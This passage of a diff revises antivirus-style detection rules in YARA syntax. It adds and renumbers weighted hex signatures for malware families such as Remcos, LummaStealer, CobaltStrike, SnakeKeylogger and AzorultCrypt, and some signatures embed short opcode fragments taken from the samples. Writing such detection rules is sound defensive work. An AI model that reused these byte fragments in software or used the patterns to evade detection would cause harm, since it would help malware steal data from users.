72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 4f 21 4d 54 42 00 02 00 36 03 f7 e6 8b c6 c1 ea 04 8d 0c 92 c1 e1 02 2b c1 8d 8f 90 01 04 03 ce 0f b6 44 05 e4 30 86 90 01 04 b8 cd cc cc cc f7 e1 8b c6 c1 ea 04 8d 0c 92 c1 e1 02 2b c1 90 00 00 } //30720 - $a_00_4 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 52 61 74 2e 43 21 64 68 61 00 01 00 24 01 58 00 52 00 61 00 74 00 20 00 43 00 26 00 43 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 01 00 12 01 58 00 52 00 61 00 74 00 20 00 53 00 6f 00 66 00 74 00 00 } //30720 - $a_00_5 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 4c 6f 72 65 21 4d 54 42 00 01 00 20 01 72 4d 79 48 4d 6b 48 77 75 66 67 59 43 79 48 43 4c 42 51 6b 56 4c 61 65 47 6b 48 6d 2e 64 6c 6c 01 00 18 01 57 69 6e 64 6f 77 73 46 6f 72 6d 73 41 70 70 5a 65 69 74 67 65 69 73 74 00 } //30720 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 53 4c 53 41 21 4d 54 42 00 02 00 37 01 13 0f 11 0f 72 d2 03 00 70 6f 06 01 00 0a 13 10 11 10 28 07 01 00 0a 73 08 01 00 0a 13 11 11 11 6f 09 01 00 0a 13 12 08 28 0f 00 00 0a } //16675 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=1 + ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5756{ +rule _InfrastructureShared_6020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -59689,7 +62409,7 @@ rule _InfrastructureShared_5756{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5757{ +rule _InfrastructureShared_6021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -59699,7 +62419,7 @@ rule _InfrastructureShared_5757{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_5758{ +rule _InfrastructureShared_6022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59710,7 +62430,7 @@ rule _InfrastructureShared_5758{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_5759{ +rule _InfrastructureShared_6023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59721,7 +62441,7 @@ rule _InfrastructureShared_5759{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*23152) >=2 } -rule _InfrastructureShared_5760{ +rule _InfrastructureShared_6024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59732,7 +62452,7 @@ rule _InfrastructureShared_5760{ ((#a_46_0 & 1)*16675+(#a_a0_1 & 1)*64) >=2 } -rule _InfrastructureShared_5761{ +rule _InfrastructureShared_6025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59743,7 +62463,7 @@ rule _InfrastructureShared_5761{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*29793) >=2 } -rule _InfrastructureShared_5762{ +rule _InfrastructureShared_6026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59754,7 +62474,7 @@ rule _InfrastructureShared_5762{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*-16625) >=2 } -rule _InfrastructureShared_5763{ +rule _InfrastructureShared_6027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59765,7 +62485,7 @@ rule _InfrastructureShared_5763{ ((#a_77_0 & 1)*16675+(#a_61_1 & 1)*25665) >=2 } -rule _InfrastructureShared_5764{ +rule _InfrastructureShared_6028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59776,7 +62496,7 @@ rule _InfrastructureShared_5764{ ((#a_77_0 & 1)*16675+(#a_6f_1 & 1)*27713) >=2 } -rule _InfrastructureShared_5765{ +rule _InfrastructureShared_6029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59787,7 +62507,7 @@ rule _InfrastructureShared_5765{ ((#a_6c_0 & 1)*16675+(#a_6d_1 & 1)*29287) >=2 } -rule _InfrastructureShared_5766{ +rule _InfrastructureShared_6030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59798,7 +62518,7 @@ rule _InfrastructureShared_5766{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29281) >=2 } -rule _InfrastructureShared_5767{ +rule _InfrastructureShared_6031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59809,7 +62529,7 @@ rule _InfrastructureShared_5767{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*17221) >=2 } -rule _InfrastructureShared_5768{ +rule _InfrastructureShared_6032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59820,7 +62540,7 @@ rule _InfrastructureShared_5768{ ((#a_46_0 & 1)*21283+(#a_0d_1 & 1)*-16127) >=2 } -rule _InfrastructureShared_5769{ +rule _InfrastructureShared_6033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -59831,7 +62551,7 @@ rule _InfrastructureShared_5769{ ((#a_5f_0 & 1)*25635+(#a_4c_1 & 1)*21325) >=2 } -rule _InfrastructureShared_5770{ +rule _InfrastructureShared_6034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -59843,33 +62563,54 @@ rule _InfrastructureShared_5770{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*25697+(#a_68_2 & 1)*26990) >=2 } -rule _InfrastructureShared_5771{ +rule _InfrastructureShared_6035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 62 6f 74 5f 76 73 63 61 6e 00 01 00 15 01 7b 53 43 41 4e 7d 3a 20 53 63 61 6e 6e 69 6e 67 20 28 25 73 29 01 00 21 01 7b 53 43 41 4e 7d 3a 20 46 69 6e 69 73 68 65 64 20 77 69 74 68 20 53 63 61 6e 6e 69 6e 67 20 25 73 01 00 09 01 7b 53 4f 43 4b 53 } //18467 $a_00_1 = {00 78 64 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 50 72 6f 74 65 63 74 6f 72 2e 45 70 69 6c 6f 67 75 65 2e 41 00 01 00 06 01 58 } //32052 - $a_24_2 = {01 00 06 01 59 9d 87 14 24 c3 01 00 06 01 5a 9d 87 0c 24 c3 01 00 06 01 5d 9d 87 3c 24 c3 01 00 06 01 5e 9d 87 0c 24 c3 00 00 78 64 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 } //-30819 + $a_24_2 = {01 00 06 01 59 9d 87 14 24 c3 01 00 06 01 5a 9d 87 0c 24 c3 01 00 06 01 5d 9d 87 3c 24 c3 01 00 06 01 5e 9d 87 0c 24 c3 00 00 78 64 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 4c } //-30819 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32052+(#a_24_2 & 1)*-30819) >=2 } -rule _InfrastructureShared_5772{ +rule _InfrastructureShared_6036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 50 72 6f 74 65 63 74 6f 72 2e 45 70 69 6c 6f 67 75 65 2e 41 00 01 00 06 01 58 9d 87 3c 24 c3 01 00 06 01 59 9d 87 14 24 c3 01 00 06 01 5a 9d 87 0c 24 c3 01 00 06 01 5d 9d 87 3c 24 c3 01 00 06 01 5e 9d 87 } //18467 - $a_00_1 = {00 78 64 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 79 74 6f 6e 65 6c 2e 45 00 01 00 12 00 73 00 74 00 72 00 65 00 61 00 6d 00 49 00 64 00 3d 00 01 00 10 00 2f 00 70 00 72 00 6f 00 64 00 2e 00 70 00 68 00 01 00 07 01 00 3a 00 7c 00 3a 00 00 00 78 64 00 00 03 00 03 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 46 75 6e 70 6f 70 00 01 00 1c 02 2f 70 61 72 73 5f 63 6c 69 63 6b 2e 64 61 74 00 90 05 03 01 00 6c 69 6e 6b 00 90 00 01 00 0f 00 6c 6e 6b 70 61 67 65 20 3d 20 25 64 7c 31 3b 01 00 0f 00 7d 3f 70 } //9228 - $a_00_2 = {00 73 65 61 72 63 68 2e 00 00 78 64 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 49 31 32 33 21 4d 54 42 00 01 00 11 81 01 56 61 } //25705 - $a_20_3 = {6f 72 70 6f 72 61 74 69 6f 6e 01 00 0e 81 01 43 65 72 69 64 69 61 6e 20 43 6f 72 70 2e 01 00 0c 81 01 66 6f 72 65 68 65 61 72 2e 65 78 65 00 00 78 64 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 33 31 00 02 00 0c 80 01 61 6e 74 69 67 } //30316 - $a_64_4 = {63 6f 01 00 10 80 01 41 6e 74 69 47 75 61 72 64 63 66 67 2e 65 78 65 01 00 10 80 01 70 61 72 74 6e 65 72 5f 69 6e 66 6f 2e 69 6e 69 00 00 78 64 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 4b 44 4a 2e 56 32 00 01 00 08 80 01 76 6b 64 6a 2e 6f 72 67 01 00 10 80 01 4f 4e 59 41 4e 44 45 58 41 43 54 49 56 41 54 45 01 00 17 80 01 53 48 45 4c } //24949 + $a_00_1 = {00 78 64 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 31 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 24 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 00 00 ce 04 00 00 90 01 01 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 00 00 78 64 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 43 43 4a 58 21 4d 54 42 00 02 00 22 01 4c 6f 61 64 44 6c 6c 5c 72 65 73 75 6c 74 5c 52 65 6c 65 61 73 65 5c 6c 69 62 63 75 72 6c 2e 70 64 62 01 00 } //9228 + $a_6c_2 = {49 6e 73 74 61 6c 6c 00 00 78 64 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 79 74 6f 6e 65 6c 2e 45 00 01 00 12 00 73 00 74 00 72 00 } //266 + $a_00_3 = {6d 00 49 00 64 00 3d 00 01 00 10 00 2f 00 70 00 72 00 6f 00 64 00 2e 00 70 00 68 00 01 00 07 01 00 3a 00 7c 00 3a 00 00 00 78 64 00 00 03 00 03 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 46 75 6e 70 6f 70 00 01 00 1c 02 2f 70 61 72 73 5f 63 6c 69 63 6b 2e 64 61 74 00 90 05 03 01 } //101 + $a_6e_4 = {00 90 00 01 00 0f 00 6c 6e 6b 70 61 67 65 20 3d 20 25 64 7c 31 3b 01 00 0f 00 7d 3f 70 69 64 3d 00 00 73 65 61 72 63 68 2e 00 00 78 64 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4e 30 31 21 4d 54 42 00 01 00 19 81 01 62 6f 73 74 74 65 6c 73 65 72 73 20 69 73 74 } //27648 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*9228+(#a_00_2 & 1)*25705+(#a_20_3 & 1)*30316+(#a_64_4 & 1)*24949) >=2 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*9228+(#a_6c_2 & 1)*266+(#a_00_3 & 1)*101+(#a_6e_4 & 1)*27648) >=2 } -rule _InfrastructureShared_5773{ +rule _InfrastructureShared_6037{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 31 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 24 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 00 00 ce 04 00 00 90 01 01 00 00 00 00 00 00 00 90 01 02 00 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_6038{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 43 43 4a 58 21 4d 54 42 00 02 00 22 01 4c 6f 61 64 44 6c 6c 5c 72 65 73 75 6c 74 5c 52 65 6c 65 61 73 65 5c 6c 69 62 63 75 72 6c 2e } //21539 + $a_01_1 = {00 0a 01 44 6c 6c 49 6e 73 74 61 6c 6c 00 00 78 64 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 79 74 6f 6e 65 6c 2e 45 00 01 00 12 00 73 00 74 00 72 00 65 00 61 00 6d 00 49 00 64 00 3d 00 01 00 10 00 2f 00 70 00 72 00 6f 00 } //25712 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*25712) >=3 + +} +rule _InfrastructureShared_6039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -59880,29 +62621,52 @@ rule _InfrastructureShared_5773{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1792) >=3 } -rule _InfrastructureShared_5774{ +rule _InfrastructureShared_6040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 46 75 6e 70 6f 70 00 01 00 1c 02 2f 70 61 72 73 5f 63 6c 69 63 6b 2e 64 61 74 00 90 05 03 01 00 6c 69 6e 6b 00 90 00 01 00 0f 00 6c 6e 6b 70 61 67 65 20 3d 20 25 64 7c 31 3b 01 00 0f 00 7d 3f 70 69 64 3d 00 00 73 65 61 72 63 68 2e 00 00 78 64 00 00 03 00 03 00 03 00 21 23 } //16675 - $a_52_1 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 49 31 32 33 21 4d 54 42 00 01 00 11 81 01 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0e 81 01 43 65 72 69 64 69 61 6e 20 43 6f 72 70 2e 01 00 0c 81 01 66 6f 72 65 68 65 61 72 2e 65 78 } //21320 + $a_52_1 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4e 30 31 21 4d 54 42 00 01 00 19 81 01 62 6f 73 74 74 65 6c 73 65 72 73 20 69 73 74 61 6e 64 73 74 74 65 72 65 73 01 00 0c 81 01 73 6b 6c 6d 65 72 69 65 72 6e 65 73 01 00 08 81 01 73 6a 61 67 67 65 72 } //21320 condition: ((#a_77_0 & 1)*16675+(#a_52_1 & 1)*21320) >=3 } -rule _InfrastructureShared_5775{ +rule _InfrastructureShared_6041{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4e 30 31 21 4d 54 42 00 01 00 19 81 01 62 6f 73 74 74 65 6c 73 65 72 73 20 69 73 74 61 6e 64 73 74 74 65 72 65 73 01 00 0c 81 01 73 6b 6c 6d 65 72 69 65 72 6e 65 73 01 00 08 81 01 73 6a 61 67 67 } //18467 + $a_00_1 = {00 78 64 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 49 31 32 33 21 4d 54 42 00 01 00 11 81 01 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0e 81 01 43 65 72 69 64 69 61 6e 20 43 6f 72 70 2e 01 00 0c 81 01 66 6f 72 65 68 65 61 72 2e 65 } //29285 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285) >=3 + +} +rule _InfrastructureShared_6042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 49 31 32 33 21 4d 54 42 00 01 00 11 81 01 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0e 81 01 43 65 72 69 64 69 61 6e 20 43 6f 72 70 2e 01 00 0c 81 01 66 6f 72 65 68 65 61 72 2e } //18467 - $a_00_1 = {00 78 64 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 33 31 00 02 00 0c 80 01 61 6e 74 69 67 75 61 72 64 2e 63 6f 01 00 10 80 01 41 6e 74 69 47 75 61 72 64 63 66 67 2e 65 78 65 01 00 10 80 01 70 61 72 74 6e 65 72 5f 69 6e 66 6f 2e 69 } //30821 + $a_00_1 = {00 78 64 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 11 01 79 67 67 64 72 61 73 69 6c 2d 6e 65 74 77 6f 72 6b 01 00 12 01 6b 62 69 6e 61 6e 69 2f 73 63 72 65 65 6e 73 68 } //30821 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30821) >=3 } -rule _InfrastructureShared_5776{ +rule _InfrastructureShared_6043{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 11 01 79 67 67 64 72 61 73 69 6c 2d 6e 65 74 77 6f 72 6b 01 00 12 01 6b 62 69 6e 61 6e 69 2f 73 63 72 65 65 6e 73 68 6f 74 00 00 78 64 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a } //25635 + $a_33_1 = {2f 4b 72 61 64 64 61 72 65 2e 61 77 33 31 00 02 00 0c 80 01 61 6e 74 69 67 75 61 72 64 2e 63 6f 01 00 10 80 01 41 6e 74 69 47 75 61 72 64 63 66 67 2e 65 78 65 01 00 10 80 01 70 61 72 74 6e 65 72 5f 69 6e 66 6f 2e 69 6e 69 00 00 78 64 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 4b 44 4a 2e 56 32 00 01 00 08 80 01 76 6b 64 6a } //26967 + $a_67_2 = {00 10 80 01 4f 4e 59 41 4e 44 45 58 41 43 54 49 56 41 54 45 01 00 17 80 01 53 48 45 4c 4c 45 58 45 43 41 53 4f 52 49 47 49 4e 41 4c 55 53 45 52 01 00 0a 80 01 56 45 52 59 53 49 4c 45 4e 54 00 00 78 64 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 6f 50 68 69 73 68 2e 41 00 01 00 0b 01 4d 61 78 4d } //28462 + condition: + ((#a_5f_0 & 1)*25635+(#a_33_1 & 1)*26967+(#a_67_2 & 1)*28462) >=3 + +} +rule _InfrastructureShared_6044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -59914,7 +62678,7 @@ rule _InfrastructureShared_5776{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*24434+(#a_54_2 & 1)*17740) >=4 } -rule _InfrastructureShared_5777{ +rule _InfrastructureShared_6045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -59927,7 +62691,7 @@ rule _InfrastructureShared_5777{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*20037+(#a_01_2 & 1)*2+(#a_64_3 & 1)*0) >=4 } -rule _InfrastructureShared_5778{ +rule _InfrastructureShared_6046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -59940,7 +62704,7 @@ rule _InfrastructureShared_5778{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*271+(#a_90_2 & 1)*656+(#a_03_3 & 1)*-28543) >=4 } -rule _InfrastructureShared_5779{ +rule _InfrastructureShared_6047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -59950,28 +62714,50 @@ rule _InfrastructureShared_5779{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_5780{ +rule _InfrastructureShared_6048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 65 6c 66 49 6e 74 2e 41 21 64 68 61 00 01 00 2e 01 72 00 65 00 67 00 66 00 63 00 66 00 67 00 2e 00 64 00 6c 00 6c 00 2c 00 43 00 72 00 65 00 61 00 74 00 65 00 57 00 6f 00 72 00 6b 00 00 00 00 00 01 00 78 64 00 00 05 00 05 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //19491 + $a_77_0 = {69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 65 6c 66 49 6e 74 2e 41 21 64 68 61 00 01 00 2e 01 72 00 65 00 67 00 66 00 63 00 66 00 67 00 2e 00 64 00 6c 00 6c 00 2c 00 43 00 72 00 65 00 61 00 74 00 65 00 57 00 6f 00 72 00 6b 00 00 00 00 00 01 00 78 64 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //19491 condition: ((#a_77_0 & 1)*19491) >=5 } -rule _InfrastructureShared_5781{ +rule _InfrastructureShared_6049{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 50 53 21 4d 54 42 00 05 00 34 03 16 0c 2b 26 07 08 07 08 93 0d 09 20 90 01 03 00 5f 06 25 17 58 0a 61 1e 62 09 1e 63 06 25 17 58 0a 61 d2 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_6050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 61 74 6e 4d 62 72 2e 41 00 03 00 14 01 b4 13 b9 0b 00 b0 00 b6 00 b2 00 bd 14 7c b3 1f cd 10 eb fe 01 00 0b 01 41 56 45 20 53 41 54 41 4e 41 53 01 00 13 01 5c 5c 2e 5c 50 68 79 73 69 63 61 6c 44 72 69 76 } //18467 - $a_00_2 = {00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 7a 6f 72 75 6c 74 43 72 79 70 74 2e 53 4e 21 4d 54 42 00 0a 00 31 03 ff 73 18 52 68 90 01 04 6a 00 ff d0 68 90 01 04 5a 31 c9 81 c9 90 01 04 8b 3c 0a 89 3c 08 81 34 08 90 01 04 83 c1 90 01 01 7d 90 01 01 ff d0 90 00 00 } //30720 + $a_00_2 = {00 08 00 08 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 56 51 4d 44 21 4d 54 42 00 03 00 15 01 50 50 50 52 52 52 4f 4f 4f 46 46 46 49 49 49 4c 4c 4c 45 45 45 03 00 09 01 4b 4b 4b 45 45 45 59 59 59 02 00 09 01 65 78 70 6f 72 74 5f 76 31 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*30720) >=5 } -rule _InfrastructureShared_5782{ +rule _InfrastructureShared_6051{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 56 51 4d 44 21 4d 54 42 00 03 00 15 01 50 50 50 52 52 52 4f 4f 4f 46 46 46 49 49 49 4c 4c 4c 45 45 45 03 00 09 01 4b 4b 4b 45 45 } //21539 + $a_59_1 = {00 09 01 65 78 70 6f 72 74 5f 76 31 00 00 78 64 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 7a 6f 72 75 6c 74 43 72 79 70 74 2e 53 4e 21 4d 54 42 00 0a 00 31 03 ff 73 18 52 68 90 01 04 6a 00 ff d0 68 90 01 04 5a 31 c9 81 c9 90 } //22853 + $a_3c_2 = {89 3c 08 81 34 08 90 01 04 83 c1 90 01 01 7d 90 01 01 ff d0 90 00 00 00 78 64 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 4e 31 21 4d 54 42 00 0a 00 2f 01 0f 10 45 d8 0f 11 02 0f 10 4d e8 0f 11 4a 10 48 8b c7 4c 8d 5c 24 60 49 8b 5b 30 49 8b 73 38 49 8b 7b 40 49 8b e3 41 5f 41 5e 41 5d 41 5c 5d 00 00 78 64 00 00 0a 00 0a 00 01 00 21 } //1025 + condition: + ((#a_4c_0 & 1)*21539+(#a_59_1 & 1)*22853+(#a_3c_2 & 1)*1025) >=8 + +} +rule _InfrastructureShared_6052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -59981,7 +62767,7 @@ rule _InfrastructureShared_5782{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5783{ +rule _InfrastructureShared_6053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -59991,18 +62777,50 @@ rule _InfrastructureShared_5783{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5784{ +rule _InfrastructureShared_6054{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 5a 5a 44 21 4d 54 42 00 0a 00 2f 03 11 07 1f 11 5a 11 07 18 62 61 20 90 01 01 00 00 00 60 9e 11 07 17 58 13 07 11 07 06 74 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_6055{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 62 61 72 2e 4b 4b 21 4d 54 42 00 0a 